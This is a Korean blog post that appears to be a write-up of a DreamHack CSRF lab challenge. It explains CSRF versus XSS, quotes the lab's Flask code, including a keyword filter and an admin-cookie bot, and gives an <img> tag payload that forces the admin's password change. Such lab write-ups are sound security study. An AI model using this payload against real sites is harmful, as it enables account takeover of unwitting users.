CSRF
이용자를 속여서 의도치 않은 요청에 동의하게 하는 공격
임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점
Ex) 그럴듯한 웹페이지를 만들어 이용자의 입력을 유도하고, 이용자가 값을 입력하면 이를 은행이나 중요 포털 사이트 등으로 전송하여 이용자가 동의한것 같은 요청을 발생시킴.
공격자는 임의 이용자의 권한으로 서비스 기능을 사용해 이득을 취함.
XSS, CSRF 차이
XSS : 인증 정보인 세션 및 쿠키 탈취를 목적으로 하는 공격, 공격할 사이트의 오리진에서 스크립트를 실행.
CSRF : 임의 페이지에 HTTP요청을 보내는 것을 목적으로 하는 공격. 공격자는 악성 스크립트가 포함된 페이지에 적용한 이용자의 권한으로 웹 서비스의 임의 기능을 실행할 수 있음.
vuln(csrf) page에 접속시
param에 <script>구문이 들어간 걸 알 수 있다
guest로 login 시
users = {
'guest': 'guest',
'admin': FLAG
}
flag부분을 통해서 비번을 admin으로 바꿔야 되는거 같다.
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
파라미터에 frame, script, on을 넣으면 *으로 대체되는걸 알 수 있다.
→ XSS 공격 방지 목적으로 존재
⇒ 필터링 키워드 외에 <,>,다른 키워드, 태그는 사용가능 → CSRF 공격 수행 가능
def change_password():
pw = request.args.get("pw", "")
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
users[username] = pw
return 'Done'
pw는 get으로 받아오고 sessionid에서 username을 가져오는 것 같다.
<img src="/change_password?pw=admin">으로 pw를 admin으로 바꿔준다.
flag창에서 guest계정이 아닌 admin계정의 비밀번호를 바꿀 수 있는 이유는 flag페이지에서 post할때 sessionid가 admin이라 가능하다.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
session_id = os.urandom(16).hex()
session_storage[session_id] = 'admin'
if not check_csrf(param, {"name":"sessionid", "value": session_id}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
def check_csrf(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
print(str(e))
# return str(e)
return False
driver.quit()
return True
이용자의 요청이 GET인 경우 → 이용자에게 링크를 입력받는 화면을 출력
이용자의 요청이 POST인 경우 → ?
바꿔준 후 다시 로그인시 flag를 확인할 수 있다.
'보안 > 웹해킹' 카테고리의 다른 글
[DreamHack] Stage7-Command Injection (0) | 2023.03.24 |
---|---|
[DreamHack] Stage6-SQL Injection (0) | 2023.03.23 |
[lord of SQLinjection] troll 문제풀이 (0) | 2021.08.04 |
[lord of SQLinjection] orge 문제풀이 (0) | 2021.08.04 |
[lord of SQLinjection] darkelf 문제풀이 (0) | 2021.08.04 |